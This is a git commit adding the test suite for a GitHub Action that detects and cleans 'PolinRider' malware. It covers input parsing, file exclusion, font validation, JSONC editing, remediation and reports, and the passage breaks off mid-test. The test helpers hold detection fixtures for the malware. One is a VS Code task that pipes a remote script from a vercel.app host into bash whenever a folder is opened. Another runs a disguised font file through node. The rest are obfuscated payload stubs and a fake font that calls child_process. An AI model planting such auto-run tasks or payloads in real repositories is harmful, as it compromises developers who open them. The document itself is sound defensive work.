Add initial implementation of PolinRider malware scanner

- Introduced core files including Dockerfile, action.yml, and entry point script (bin/polinrider.js) for the PolinRider malware scanner.
- Created configuration files: .env.example, .gitignore, and .npmrc for environment setup and dependency management.
- Added CI workflows for testing, building, and releasing the action, along with examples for usage in GitHub Actions.
- Implemented a README.md to provide documentation on usage, features, and setup instructions.
- Included necessary scripts for building the action and handling security measures during execution.
- Established a structured directory for reports and workspace management within Docker.
- Ensured all files are set up for a secure and efficient scanning process of GitHub repositories for PolinRider malware.
This commit is contained in:
2026-08-11 13:59:03 +02:00
commit 39f03add71
41 changed files with 17156 additions and 0 deletions
+19
View File
@@ -0,0 +1,19 @@
// Probe run in a child process so the safety guards don't pollute the main test
// runner. Importing safety.js installs the guards as a side effect. Exits 0 only
// if every escape hatch is blocked.
import "../src/safety.js";
import assert from "node:assert/strict";
import { createRequire } from "node:module";
const require = createRequire(import.meta.url);
assert.throws(() => globalThis.eval("1+1"), /disabled|disallow/i, "direct eval not blocked");
const indirect = eval;
assert.throws(() => indirect("1+1"), "indirect eval not blocked");
assert.throws(() => new Function("return 1"), "Function constructor not blocked");
assert.throws(() => function () {}.constructor("return 1"), "fn.constructor not blocked");
assert.throws(() => require("node:vm"), "require(node:vm) not blocked");
assert.throws(() => require("vm"), "require(vm) not blocked");
assert.throws(() => process.binding("spawn_sync"), "process.binding not blocked");
console.log("safety-probe OK");
+236
View File
@@ -0,0 +1,236 @@
/**
* Tests for the GitHub Action frontend (src/ci.js). Exercises input parsing,
* exit-code policy, reporting, and the SARIF builder against real fixtures.
* The git/gh-dependent paths (fix+commit, pr mode) are validated by the
* integration workflow, not here.
*/
import { test, after, beforeEach } from "node:test";
import assert from "node:assert/strict";
import fs from "node:fs";
import path from "node:path";
import { run, resolveSettings, failThreshold, buildSummary } from "../src/ci.js";
import { buildSarif } from "../src/sarif.js";
import { scanRepo } from "../src/scanner.js";
import {
makeRepo,
mkTmpDir,
cleanupAll,
LEGIT_CONFIG,
INFECTED_TASKS,
ORIGINAL_PAYLOAD,
GENERIC_PAYLOAD,
infectedConfig,
} from "./helpers.js";
after(cleanupAll);
// Every env key run() / resolveSettings() may read — cleared between tests so
// values can't leak across cases.
const MANAGED = [
"GITHUB_WORKSPACE", "GITHUB_OUTPUT", "GITHUB_STEP_SUMMARY", "GITHUB_EVENT_NAME",
"GITHUB_EVENT_PATH", "GITHUB_REPOSITORY", "GITHUB_REF_NAME",
"DRY_RUN", "AUTO_MERGE", "MERGE_METHOD", "BRANCH_PREFIX", "GH_TOKEN", "GITHUB_TOKEN", "SARIF_FILE",
];
function clearEnv() {
for (const k of Object.keys(process.env)) if (k.startsWith("INPUT_")) delete process.env[k];
for (const k of MANAGED) delete process.env[k];
}
beforeEach(clearEnv);
after(clearEnv);
/** Set INPUT_* env from a {name: value} map (GitHub Actions convention). */
function setInputs(inputs) {
for (const [k, v] of Object.entries(inputs)) {
process.env[`INPUT_${k.replace(/ /g, "_").toUpperCase()}`] = String(v);
}
}
/** Run the action against a workspace dir; returns { code, outputs, summary }. */
async function runAction(workspace, inputs = {}, extraEnv = {}) {
const io = mkTmpDir("ci-io-");
const outFile = path.join(io, "out");
const sumFile = path.join(io, "sum");
fs.writeFileSync(outFile, "");
fs.writeFileSync(sumFile, "");
process.env.GITHUB_WORKSPACE = workspace;
process.env.GITHUB_OUTPUT = outFile;
process.env.GITHUB_STEP_SUMMARY = sumFile;
Object.assign(process.env, extraEnv);
setInputs(inputs);
const code = await run();
const outputs = Object.fromEntries(
fs.readFileSync(outFile, "utf8").split("\n").filter(Boolean).map((l) => {
const i = l.indexOf("=");
return [l.slice(0, i), l.slice(i + 1)];
}),
);
return { code, outputs, summary: fs.readFileSync(sumFile, "utf8") };
}
const INFECTED_FILES = {
"App.js": infectedConfig(ORIGINAL_PAYLOAD),
".vscode/tasks.json": INFECTED_TASKS,
"config.bat": "",
};
// ─── resolveSettings ───────────────────────────────────────────────────────────
test("resolveSettings: defaults", () => {
const s = resolveSettings();
assert.equal(s.mode, "check");
assert.equal(s.scanPath, ".");
assert.equal(s.failOn, "infected");
assert.equal(s.commit, false);
assert.equal(s.commentOnPr, true);
assert.equal(s.mergeMethod, "squash");
assert.equal(s.branchPrefix, "fix/polinrider-cleanup");
});
test("resolveSettings: INPUT_* parsing incl. hyphenated names", () => {
setInputs({ mode: "FIX", "fail-on": "Suspicious", commit: "true", "comment-on-pr": "false", "merge-method": "REBASE" });
const s = resolveSettings();
assert.equal(s.mode, "fix");
assert.equal(s.failOn, "suspicious");
assert.equal(s.commit, true);
assert.equal(s.commentOnPr, false);
assert.equal(s.mergeMethod, "rebase");
});
test("resolveSettings: legacy env fallback + INPUT precedence", () => {
process.env.DRY_RUN = "true";
process.env.AUTO_MERGE = "true";
process.env.GH_TOKEN = "legacy-token";
let s = resolveSettings();
assert.equal(s.dryRun, true);
assert.equal(s.autoMerge, true);
assert.equal(s.token, "legacy-token");
// An explicit input wins over the token env var.
setInputs({ token: "input-token" });
s = resolveSettings();
assert.equal(s.token, "input-token");
});
// ─── failThreshold ─────────────────────────────────────────────────────────────
test("failThreshold ranks", () => {
assert.equal(failThreshold("never"), Infinity);
assert.equal(failThreshold("suspicious"), 1);
assert.equal(failThreshold("infected"), 2);
assert.equal(failThreshold("anything-else"), 2);
});
// ─── check mode exit codes ─────────────────────────────────────────────────────
test("check: infected → exit 1 + outputs", async () => {
const repo = await makeRepo(INFECTED_FILES);
const { code, outputs, summary } = await runAction(repo, { mode: "check" });
assert.equal(code, 1);
assert.equal(outputs.severity, "infected");
assert.equal(outputs.infected, "true");
assert.equal(outputs["findings-count"], "3");
assert.equal(outputs.changed, "false");
assert.match(summary, /PolinRider Malware Scan/);
assert.match(summary, /infected/);
});
test("check: clean → exit 0", async () => {
const repo = await makeRepo({ "postcss.config.js": LEGIT_CONFIG });
const { code, outputs } = await runAction(repo, { mode: "check" });
assert.equal(code, 0);
assert.equal(outputs.severity, "clean");
assert.equal(outputs.infected, "false");
});
test("check: fail-on=never never fails, even when infected", async () => {
const repo = await makeRepo(INFECTED_FILES);
const { code, outputs } = await runAction(repo, { mode: "check", "fail-on": "never" });
assert.equal(code, 0);
assert.equal(outputs.infected, "true");
});
test("check: exclude skips flagged files", async () => {
// A vendored copy that legitimately carries a signature would false-positive;
// excluding it makes the scan clean, while a real infection elsewhere still fails.
const repo = await makeRepo({
"vendor/sig-sample.js": infectedConfig(ORIGINAL_PAYLOAD),
});
const withoutExclude = await runAction(repo, { mode: "check" });
assert.equal(withoutExclude.code, 1);
assert.equal(withoutExclude.outputs.severity, "infected");
const withExclude = await runAction(repo, { mode: "check", exclude: "vendor/**" });
assert.equal(withExclude.code, 0);
assert.equal(withExclude.outputs.severity, "clean");
});
test("check: suspicious repo fails only at fail-on=suspicious", async () => {
const repo = await makeRepo({ "weird.js": `export const x = 1;\n${GENERIC_PAYLOAD}` });
const def = await runAction(repo, { mode: "check" }); // fail-on=infected
assert.equal(def.outputs.severity, "suspicious");
assert.equal(def.code, 0);
const strict = await runAction(repo, { mode: "check", "fail-on": "suspicious" });
assert.equal(strict.code, 1);
});
// ─── fix mode (no commit) ──────────────────────────────────────────────────────
test("fix: cleans the working tree, exit 0, re-scan clean", async () => {
const repo = await makeRepo(INFECTED_FILES);
const { code, outputs } = await runAction(repo, { mode: "fix" });
assert.equal(code, 0);
assert.equal(outputs.changed, "true");
assert.equal(outputs.remediated, "true");
// Payload stripped, legit config kept; malware artifacts gone.
assert.match(fs.readFileSync(path.join(repo, "App.js"), "utf8"), /tailwindcss/);
assert.ok(!fs.existsSync(path.join(repo, ".vscode")));
assert.ok(!fs.existsSync(path.join(repo, "config.bat")));
const rescan = await scanRepo(repo);
assert.equal(rescan.severity, "clean");
});
test("fix: confirmed-but-manual-review item leaves exit 1", async () => {
// An impostor dep is content-confirmed but action=manual-review — fix can't
// auto-remove it, so the check must still fail. (Note: remediate also runs
// .gitignore hygiene, so `changed` may be true; the contract under test is the
// exit code and that the impostor dep is NOT silently stripped.)
const repo = await makeRepo({
"package.json": JSON.stringify({ name: "x", dependencies: { "tailwindcss-style-animate": "^1.0.0" } }),
});
const { code, outputs } = await runAction(repo, { mode: "fix" });
assert.equal(outputs.severity, "infected");
assert.equal(code, 1); // unresolved confirmed item → fail
assert.match(fs.readFileSync(path.join(repo, "package.json"), "utf8"), /tailwindcss-style-animate/);
});
// ─── SARIF ─────────────────────────────────────────────────────────────────────
test("buildSarif: shape + js-payload line from offset", async () => {
const repo = await makeRepo(INFECTED_FILES);
const findings = await scanRepo(repo);
const sarif = buildSarif(findings, { repoRoot: repo, repoDir: repo });
assert.equal(sarif.version, "2.1.0");
const driver = sarif.runs[0].tool.driver;
assert.equal(driver.name, "polinrider-cleanup");
assert.equal(sarif.runs[0].results.length, findings.findings.length);
const js = sarif.runs[0].results.find((r) => r.ruleId.startsWith("js.payload"));
assert.equal(js.level, "error");
assert.equal(js.locations[0].physicalLocation.artifactLocation.uri, "App.js");
assert.equal(js.locations[0].physicalLocation.region.startLine, 5);
});
// ─── buildSummary ──────────────────────────────────────────────────────────────
test("buildSummary: includes remediation section when result present", async () => {
const repo = await makeRepo(INFECTED_FILES);
const findings = await scanRepo(repo);
const md = buildSummary({
settings: { mode: "fix", dryRun: false },
findings,
result: { dryRun: false, applied: [], notes: ["did a thing"], skipped: [], filesModified: [], filesDeleted: [] },
});
assert.match(md, /### Findings/);
assert.match(md, /### Remediation/);
assert.match(md, /did a thing/);
});
+57
View File
@@ -0,0 +1,57 @@
import { test } from "node:test";
import assert from "node:assert/strict";
import { buildExcluder } from "../src/exclude.js";
test("empty patterns → nothing excluded", () => {
const ex = buildExcluder("");
assert.equal(ex("anything.js"), false);
assert.equal(buildExcluder([])("a/b.js"), false);
assert.equal(buildExcluder(undefined)("a/b.js"), false);
});
test("exact file match", () => {
const ex = buildExcluder(["src/signatures.js"]);
assert.equal(ex("src/signatures.js"), true);
assert.equal(ex("src/scanner.js"), false);
assert.equal(ex("other/src/signatures.js"), false);
});
test("bare directory matches everything under it", () => {
const ex = buildExcluder(["dist"]);
assert.equal(ex("dist"), true);
assert.equal(ex("dist/ci.mjs"), true);
assert.equal(ex("dist/nested/x.js"), true);
assert.equal(ex("distinct.js"), false); // prefix must be a path boundary
});
test("trailing slash and ** behave like a directory", () => {
for (const pat of ["test/", "test/**"]) {
const ex = buildExcluder([pat]);
assert.equal(ex("test/helpers.js"), true, pat);
assert.equal(ex("test/sub/a.js"), true, pat);
assert.equal(ex("tests.js"), false, pat);
}
});
test("single * stays within a path segment", () => {
const ex = buildExcluder(["*.min.js"]);
assert.equal(ex("app.min.js"), true);
assert.equal(ex("vendor/app.min.js"), false); // * does not cross "/"
assert.equal(buildExcluder(["vendor/*.js"])("vendor/a.js"), true);
assert.equal(buildExcluder(["vendor/*.js"])("vendor/sub/a.js"), false);
});
test("comma/newline separated string + whitespace", () => {
const ex = buildExcluder("src/signatures.js, test/** \n dist/**");
assert.equal(ex("src/signatures.js"), true);
assert.equal(ex("test/helpers.js"), true);
assert.equal(ex("dist/ci.mjs"), true);
assert.equal(ex("src/scanner.js"), false);
});
test("** crosses path segments", () => {
const ex = buildExcluder(["**/fixtures/**"]);
assert.equal(ex("a/b/fixtures/c.js"), true);
assert.equal(ex("fixtures/c.js"), false); // leading **/ requires a segment before
assert.equal(buildExcluder(["**/fixtures/**", "fixtures/**"])("fixtures/c.js"), true);
});
+67
View File
@@ -0,0 +1,67 @@
import { test, after } from "node:test";
import assert from "node:assert/strict";
import { readMagic, parseFontStructure, looksSuspicious, collectFontReferences, isReferenced } from "../src/fonts.js";
import { makeRepo, goodFont, evilFont, validSfnt, validWoff2, REAL_FONT_STRINGS, cleanupAll } from "./helpers.js";
after(cleanupAll);
test("readMagic recognizes common font formats", () => {
assert.equal(readMagic(Buffer.from("wOF2....")), "woff2");
assert.equal(readMagic(Buffer.from("wOFF....")), "woff");
assert.equal(readMagic(Buffer.from("OTTO....")), "otf");
assert.equal(readMagic(Buffer.from([0x00, 0x01, 0x00, 0x00, 0x00])), "ttf");
assert.equal(readMagic(Buffer.from("nope....")), "unknown");
});
test("parseFontStructure accepts a well-formed sfnt and woff2", () => {
assert.equal(parseFontStructure(validSfnt()).valid, true);
assert.equal(parseFontStructure(validWoff2()).valid, true);
});
test("parseFontStructure rejects unknown magic and malformed headers", () => {
assert.equal(parseFontStructure(Buffer.from("global['!']=1;")).valid, false);
// wOF2 magic but a declared length that doesn't match the byte length:
const badWoff2 = Buffer.concat([Buffer.from("wOF2", "latin1"), Buffer.alloc(256, 0x10)]);
assert.equal(parseFontStructure(badWoff2).valid, false);
// OTTO magic but a table directory that runs past EOF:
const badSfnt = Buffer.alloc(16);
badSfnt.write("OTTO", 0, "latin1");
badSfnt.writeUInt16BE(50, 4); // 50 tables can't fit in 16 bytes
assert.equal(parseFontStructure(badSfnt).valid, false);
});
test("looksSuspicious flags a fake font with a JS payload as a confirmed carrier", () => {
const r = looksSuspicious(evilFont(), ".woff2");
assert.equal(r.bad, true);
assert.equal(r.hasCodeStrings, true);
assert.ok(r.reasons.length >= 1);
});
test("looksSuspicious passes a valid, inert font", () => {
const r = looksSuspicious(goodFont(), ".woff2");
assert.equal(r.bad, false, JSON.stringify(r.reasons));
});
test("looksSuspicious does NOT flag a real font that embeds a license URL + base64-like run", () => {
// Regression: a genuine .otf (valid OTTO structure) whose name table holds a
// vendor URL, plus binary glyph data that looks base64-ish, must stay clean.
const r = looksSuspicious(validSfnt(REAL_FONT_STRINGS), ".otf");
assert.equal(r.bad, false, JSON.stringify(r.reasons));
assert.equal(r.hasCodeStrings, false);
});
test("looksSuspicious does not flag .eot solely for missing magic", () => {
const eot = Buffer.alloc(64, 0x00); // no recognizable magic, but inert
assert.equal(looksSuspicious(eot, ".eot").bad, false);
});
test("collectFontReferences + isReferenced detect a referenced font", async () => {
const repo = await makeRepo({
"public/fonts/inter.woff2": goodFont(),
"src/styles.css": `@font-face{font-family:Inter;src:url('/fonts/inter.woff2') format('woff2');}`,
"public/fonts/orphan.woff2": goodFont(),
});
const hay = await collectFontReferences(repo);
assert.equal(isReferenced(hay, "public/fonts/inter.woff2"), true);
assert.equal(isReferenced(hay, "public/fonts/orphan.woff2"), false);
});
+171
View File
@@ -0,0 +1,171 @@
/**
* Test helpers: build throwaway repo trees in the OS temp dir, plus realistic
* payload/font fixtures derived from the real signatures.
*/
import os from "node:os";
import path from "node:path";
import fs from "node:fs";
import fsp from "node:fs/promises";
const created = [];
/** Create a unique temp directory; auto-cleaned by cleanupAll(). */
export function mkTmpDir(prefix = "polin-test-") {
const dir = fs.mkdtempSync(path.join(os.tmpdir(), prefix));
created.push(dir);
return dir;
}
/**
* Write a map of { relativePath: string | Buffer } into `dir`.
* @returns {Promise<string>} dir
*/
export async function writeFiles(dir, files) {
for (const [rel, content] of Object.entries(files)) {
const full = path.join(dir, rel);
await fsp.mkdir(path.dirname(full), { recursive: true });
await fsp.writeFile(full, content);
}
return dir;
}
/** Build a repo in a fresh temp dir from a file map. */
export async function makeRepo(files) {
return writeFiles(mkTmpDir(), files);
}
export function cleanupAll() {
for (const d of created.splice(0)) {
try {
fs.rmSync(d, { recursive: true, force: true });
} catch {
/* ignore */
}
}
}
// ─── Realistic payload fixtures (match src/signatures.js) ───────────────────────
export const LEGIT_CONFIG = `export default {\n plugins: { tailwindcss: {}, autoprefixer: {} },\n};\n`;
export const ORIGINAL_PAYLOAD =
`global['!']='8-270-2';var _$_1e42=["rmcej%otb%",2857687,2667686];` +
`eval(String.fromCharCode(49,43,49));\n`;
export const ROTATED_PAYLOAD =
`global['_V']='8-991';var MDy=["Cot%3t=shtP",1111436,3896884];` +
`eval(String.fromCharCode(49,43,49));\n`;
// Looks like an appended obfuscated blob but matches no KNOWN signature/seed.
export const GENERIC_PAYLOAD =
`global['zz']=42;var _$_abcd=[12,34,56,78,90];eval(atob('MSt1'));\n`;
export function infectedConfig(payload) {
return LEGIT_CONFIG + "\n" + payload;
}
// ─── Font fixtures ──────────────────────────────────────────────────────────────
/**
* Structurally valid WOFF2: correct magic, a declared length that matches the
* actual byte length, and a non-zero table count. Inert padding.
*/
export function validWoff2(size = 64) {
const buf = Buffer.alloc(Math.max(size, 16), 0x00);
buf.write("wOF2", 0, "latin1");
buf.writeUInt32BE(0x4f54544f, 4); // flavor: OTTO
buf.writeUInt32BE(buf.length, 8); // total length == file size
buf.writeUInt16BE(4, 12); // numTables (non-zero)
return buf;
}
/**
* Structurally valid OTTO sfnt with a single in-bounds table whose bytes embed
* `extra` text. Used to prove that a genuine font is NOT flagged even when it
* contains a license URL and a long base64-looking run — the exact bytes that
* previously produced false positives on real commercial fonts.
*/
export function validSfnt(extra = "") {
const numTables = 1;
const dirEnd = 12 + numTables * 16;
const body = Buffer.from(extra, "latin1");
const buf = Buffer.alloc(dirEnd + body.length, 0x00);
buf.write("OTTO", 0, "latin1"); // sfntVersion → otf
buf.writeUInt16BE(numTables, 4);
buf.write("CFF ", 12, "latin1"); // table tag
buf.writeUInt32BE(0, 16); // checksum
buf.writeUInt32BE(dirEnd, 20); // table offset (right after the directory)
buf.writeUInt32BE(body.length, 24); // table length
body.copy(buf, dirEnd);
return buf;
}
/** A real-font byte pattern that used to trip the old heuristics: a vendor URL + a long base64-ish run. */
export const REAL_FONT_STRINGS =
"Copyright. http://www.monotypeimaging.com " + "A".repeat(400);
/** Structurally valid font (default WOFF2), inert padding (no JS-like strings). */
export function goodFont() {
return validWoff2(256);
}
/** Fake "font": no font magic + embedded JS payload → confirmed carrier. */
export function evilFont() {
return Buffer.from(
"global['!']='x';var _$_1e42=[1];eval(require('child_process').toString());function(){}",
"latin1",
);
}
// ─── .vscode fixtures ─────────────────────────────────────────────────────────────
export const LEGIT_TASKS = `{
// Build tasks
"version": "2.0.0",
"tasks": [
{ "label": "build", "type": "shell", "command": "npm run build" },
{ "label": "test", "type": "npm", "script": "test" },
]
}
`;
export const INFECTED_TASKS = `{
"version": "2.0.0",
"tasks": [
{ "label": "build", "type": "shell", "command": "npm run build" },
{
"label": "[auto]",
"type": "shell",
"command": "curl -fsSL https://default-configuration.vercel.app/x | bash",
"runOptions": { "runOn": "folderOpen" }
}
]
}
`;
export const LEGIT_LAUNCH = `{
"version": "0.2.0",
"configurations": [
{ "type": "node", "request": "launch", "name": "Run", "program": "\${workspaceFolder}/index.js" }
]
}
`;
// Real-world PolinRider tasks.json: a folderOpen task that runs the payload font
// through node (no curl/URL — the old fetch-to-shell detector missed this).
export const INFECTED_TASKS_NODE = `{
"version": "2.0.0",
"configurations": [
{ "type": "node", "request": "launch", "name": "Run My Project" }
],
"tasks": [
{
"label": "eslint-check",
"type": "shell",
"command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2)",
"isBackground": true,
"runOptions": { "runOn": "folderOpen" }
}
]
}
`;
+80
View File
@@ -0,0 +1,80 @@
import { test, after } from "node:test";
import assert from "node:assert/strict";
import { parseJsonc, getMember, removeArrayElements } from "../src/jsonc.js";
import { cleanupAll } from "./helpers.js";
after(cleanupAll);
test("parses JSONC with line + block comments and trailing commas", () => {
const text = `{
// a comment
"version": "2.0.0", /* inline */
"tasks": [
{ "label": "a" },
{ "label": "b" }, // trailing comma below
],
}`;
const r = parseJsonc(text);
assert.equal(r.ok, true, r.error?.message);
assert.equal(r.value.version, "2.0.0");
assert.equal(r.value.tasks.length, 2);
});
test("handles a BOM and comment-like sequences inside strings", () => {
const text = `{ "url": "http://x/y // not a comment", "n": 1 }`;
const r = parseJsonc(text);
assert.equal(r.ok, true, r.error?.message);
assert.equal(r.value.url, "http://x/y // not a comment");
assert.equal(r.value.n, 1);
});
test("reports failure (not throw) on malformed input", () => {
const r = parseJsonc(`{ "a": }`);
assert.equal(r.ok, false);
assert.ok(r.error instanceof Error);
});
test("getMember returns the value node for a key", () => {
const r = parseJsonc(`{ "tasks": [1, 2, 3] }`);
const node = getMember(r.ast, "tasks");
assert.equal(node.type, "array");
assert.equal(node.elements.length, 3);
});
test("removeArrayElements deletes the target element and keeps valid JSON", () => {
const text = `{
"version": "2.0.0",
"tasks": [
{ "label": "build" },
{ "label": "evil" }
]
}`;
const r = parseJsonc(text);
const arr = getMember(r.ast, "tasks");
const edited = removeArrayElements(text, arr, [1]);
const reparsed = parseJsonc(edited);
assert.equal(reparsed.ok, true, reparsed.error?.message);
assert.equal(reparsed.value.tasks.length, 1);
assert.equal(reparsed.value.tasks[0].label, "build");
assert.equal(reparsed.value.version, "2.0.0");
});
test("removeArrayElements can remove the first element too", () => {
const text = `{ "tasks": [ { "label": "evil" }, { "label": "keep" } ] }`;
const r = parseJsonc(text);
const arr = getMember(r.ast, "tasks");
const edited = removeArrayElements(text, arr, [0]);
const reparsed = parseJsonc(edited);
assert.equal(reparsed.ok, true, reparsed.error?.message);
assert.deepEqual(reparsed.value.tasks.map((t) => t.label), ["keep"]);
});
test("removeArrayElements handles removing adjacent elements", () => {
const text = `{ "tasks": [ {"i":0}, {"i":1}, {"i":2}, {"i":3} ] }`;
const r = parseJsonc(text);
const arr = getMember(r.ast, "tasks");
const edited = removeArrayElements(text, arr, [1, 2]);
const reparsed = parseJsonc(edited);
assert.equal(reparsed.ok, true, reparsed.error?.message);
assert.deepEqual(reparsed.value.tasks.map((t) => t.i), [0, 3]);
});
+136
View File
@@ -0,0 +1,136 @@
import { test, after } from "node:test";
import assert from "node:assert/strict";
import fs from "node:fs/promises";
import { existsSync } from "node:fs";
import path from "node:path";
import { scanRepo } from "../src/scanner.js";
import { remediate } from "../src/remediator.js";
import {
makeRepo,
cleanupAll,
LEGIT_CONFIG,
INFECTED_TASKS_NODE,
ORIGINAL_PAYLOAD,
ROTATED_PAYLOAD,
infectedConfig,
goodFont,
evilFont,
} from "./helpers.js";
after(cleanupAll);
// git not needed for these (no .git dir) — stub returns "not tracked".
const noGit = async () => ({ exitCode: 1, stdout: "", stderr: "" });
test("strips original payload, leaving the legit config byte-identical", async () => {
const repo = await makeRepo({ "postcss.config.mjs": infectedConfig(ORIGINAL_PAYLOAD) });
const findings = await scanRepo(repo);
const result = await remediate(repo, findings, { git: noGit });
assert.equal(result.changed, true);
const out = await fs.readFile(path.join(repo, "postcss.config.mjs"), "utf8");
assert.ok(!out.includes("rmcej%otb%"), "payload signature should be gone");
assert.ok(!out.includes("global['!']"), "payload start should be gone");
assert.equal(out, LEGIT_CONFIG.replace(/\s+$/, "") + "\n", "legit config preserved verbatim");
});
test("strips rotated payload", async () => {
const repo = await makeRepo({ "tailwind.config.js": infectedConfig(ROTATED_PAYLOAD) });
const findings = await scanRepo(repo);
await remediate(repo, findings, { git: noGit });
const out = await fs.readFile(path.join(repo, "tailwind.config.js"), "utf8");
assert.ok(!out.includes("Cot%3t=shtP"));
assert.ok(!out.includes("global['_V']"));
});
test("removes the entire .vscode directory when a malicious task is found", async () => {
const repo = await makeRepo({
".vscode/tasks.json": INFECTED_TASKS_NODE,
".vscode/settings.json": `{ "editor.tabSize": 2 }`,
});
const findings = await scanRepo(repo);
await remediate(repo, findings, { git: noGit });
assert.equal(existsSync(path.join(repo, ".vscode")), false, ".vscode removed entirely");
});
test("removes the carrier but preserves a referenced clean font (remove-font-set)", async () => {
const repo = await makeRepo({
"public/fonts/evil.woff2": evilFont(),
"public/fonts/good.woff2": goodFont(),
"src/app.css": `@font-face{src:url('/fonts/good.woff2');}`,
});
const findings = await scanRepo(repo);
const result = await remediate(repo, findings, { git: noGit });
assert.equal(result.changed, true);
assert.equal(existsSync(path.join(repo, "public/fonts/evil.woff2")), false, "carrier removed");
assert.equal(existsSync(path.join(repo, "public/fonts/good.woff2")), true, "clean font preserved");
assert.equal(existsSync(path.join(repo, "public/fonts")), true, "fonts dir kept");
});
test("removes the whole fonts dir when it is entirely malware (remove-dir)", async () => {
const repo = await makeRepo({
"public/fonts/fa-solid-400.woff2": evilFont(),
"public/fonts/fa-brands-400.woff2": goodFont(),
"public/fonts/README.md": "# Font Awesome",
});
const findings = await scanRepo(repo);
await remediate(repo, findings, { git: noGit });
assert.equal(existsSync(path.join(repo, "public/fonts")), false, "fonts dir removed");
assert.equal(existsSync(path.join(repo, "public")), true, "only the fonts dir is removed");
});
test("removes artifacts and strips all injected .gitignore lines", async () => {
const repo = await makeRepo({
"temp_auto_push.bat": "x",
"temp_interactive_push.bat": "x",
"config.bat": "x",
"branch_structure.json": "{}",
".gitignore": "node_modules\nconfig.bat\ntemp_auto_push.bat\ntemp_interactive_push.bat\nbranch_structure.json\n",
});
const findings = await scanRepo(repo);
await remediate(repo, findings, { git: noGit });
for (const a of ["temp_auto_push.bat", "temp_interactive_push.bat", "config.bat", "branch_structure.json"]) {
assert.equal(existsSync(path.join(repo, a)), false, `${a} removed`);
}
const gi = (await fs.readFile(path.join(repo, ".gitignore"), "utf8")).split(/\r?\n/);
for (const inj of ["config.bat", "temp_auto_push.bat", "temp_interactive_push.bat", "branch_structure.json"]) {
assert.ok(!gi.includes(inj), `${inj} removed from .gitignore`);
}
assert.ok(gi.includes(".env"), ".env pattern ensured");
});
test("dry run reports planned changes without writing", async () => {
const repo = await makeRepo({ "postcss.config.mjs": infectedConfig(ORIGINAL_PAYLOAD) });
const findings = await scanRepo(repo);
const before = await fs.readFile(path.join(repo, "postcss.config.mjs"), "utf8");
const result = await remediate(repo, findings, { dryRun: true, git: noGit });
assert.equal(result.changed, false);
assert.ok(result.applied.length >= 1);
const after = await fs.readFile(path.join(repo, "postcss.config.mjs"), "utf8");
assert.equal(after, before, "dry run must not modify the file");
});
test("does not touch unrelated files when remediating", async () => {
const repo = await makeRepo({
"postcss.config.mjs": infectedConfig(ORIGINAL_PAYLOAD),
"README.md": "# Hello\nThis file is innocent.\n",
"src/util.js": `export const add = (a, b) => a + b;\n`,
});
const readmeBefore = await fs.readFile(path.join(repo, "README.md"), "utf8");
const utilBefore = await fs.readFile(path.join(repo, "src/util.js"), "utf8");
const findings = await scanRepo(repo);
await remediate(repo, findings, { git: noGit });
assert.equal(await fs.readFile(path.join(repo, "README.md"), "utf8"), readmeBefore);
assert.equal(await fs.readFile(path.join(repo, "src/util.js"), "utf8"), utilBefore);
});
test("manual-review-only infection makes no automated file changes", async () => {
const repo = await makeRepo({
"package.json": JSON.stringify({ name: "x", dependencies: { "tailwind-autoanimation": "1.0.0" } }),
".gitignore": ".env\n.env.local\n.env.*.local\n.env.production\n.env.development\n",
});
const findings = await scanRepo(repo);
assert.equal(findings.severity, "infected");
const result = await remediate(repo, findings, { git: noGit });
assert.equal(result.changed, false, "no auto-fixable changes for an impostor dep");
assert.equal(result.skipped.length >= 1, true);
});
+130
View File
@@ -0,0 +1,130 @@
import { test } from "node:test";
import assert from "node:assert/strict";
import { buildRunJson, buildRunMarkdown } from "../src/report.js";
function sampleRun(overrides = {}) {
return {
scannedAt: "2026-06-01T12:00:00.000Z",
scannedAtHuman: "Mon Jun 01 2026 12:00:00",
account: { kind: "org", owner: "RMSoft-ltd" },
dryRun: false,
autoMerge: true,
mergeMethod: "squash",
totals: {
total: 4,
clean: 1,
infected: 3,
remediated: 2,
merged: 1,
prOpened: 2,
manualOnly: 1,
errors: 1,
},
repos: [
{
repo: "RMSoft-ltd/clean-app",
severity: "clean",
findings: [],
deleted: [],
modified: [],
notes: [],
manualReview: [],
pr: null,
error: null,
},
{
repo: "RMSoft-ltd/web",
severity: "infected",
findings: [
{
file: ".vscode",
action: "remove-dir",
confidence: "high",
contentConfirmed: true,
description: "malicious task",
},
],
deleted: [".vscode", "public/fonts"],
modified: ["vite.config.js"],
notes: ["removed malware-injected entries from .gitignore"],
manualReview: [],
pr: {
url: "https://github.com/RMSoft-ltd/web/pull/7",
merged: true,
mergeError: null,
},
error: null,
},
{
repo: "RMSoft-ltd/api",
severity: "infected",
findings: [],
deleted: [],
modified: ["postcss.config.mjs"],
notes: [],
manualReview: [],
pr: {
url: "https://github.com/RMSoft-ltd/api/pull/3",
merged: false,
mergeError: "required status checks have not passed",
},
error: null,
},
{
repo: "RMSoft-ltd/mob",
severity: "infected",
findings: [],
deleted: [],
modified: [],
notes: [],
manualReview: ["package.json: impostor dependency"],
pr: null,
error: null,
},
],
...overrides,
};
}
test("buildRunMarkdown renders clickable PR links and merge status", () => {
const md = buildRunMarkdown(sampleRun());
assert.match(md, /\[#7\]\(https:\/\/github\.com\/RMSoft-ltd\/web\/pull\/7\)/);
assert.match(md, /✅ merged/);
assert.match(md, /⚠️ merge blocked/);
assert.match(md, /\| Repository \| Pull request \| Status \| Changes \|/);
assert.match(md, /removed: \.vscode, public\/fonts/);
});
test("buildRunMarkdown surfaces a Needs attention section", () => {
const md = buildRunMarkdown(sampleRun());
assert.match(md, /## Needs attention/);
assert.match(md, /auto-merge blocked: required status checks/);
assert.match(md, /manual review: package\.json: impostor dependency/);
});
test("buildRunMarkdown reflects account, mode, and totals", () => {
const md = buildRunMarkdown(sampleRun());
assert.match(md, /\*\*Account:\*\* org `RMSoft-ltd`/);
assert.match(md, /auto-merge: on \(squash\)/);
assert.match(md, /\| PRs merged \| 1 \|/);
});
test("dry-run mode is labeled and omits the merged row", () => {
const md = buildRunMarkdown(sampleRun({ dryRun: true, autoMerge: false }));
assert.match(md, /DRY RUN/);
assert.match(md, /auto-merge: off/);
assert.ok(!md.includes("PRs merged"));
});
test("buildRunJson tags a schema and preserves the repos array", () => {
const run = sampleRun();
const json = buildRunJson(run);
assert.equal(json.schema, "polinrider-run/1");
assert.equal(json.repos.length, 4);
assert.equal(json.totals.merged, 1);
// round-trips through JSON
assert.deepEqual(JSON.parse(JSON.stringify(json)).account, {
kind: "org",
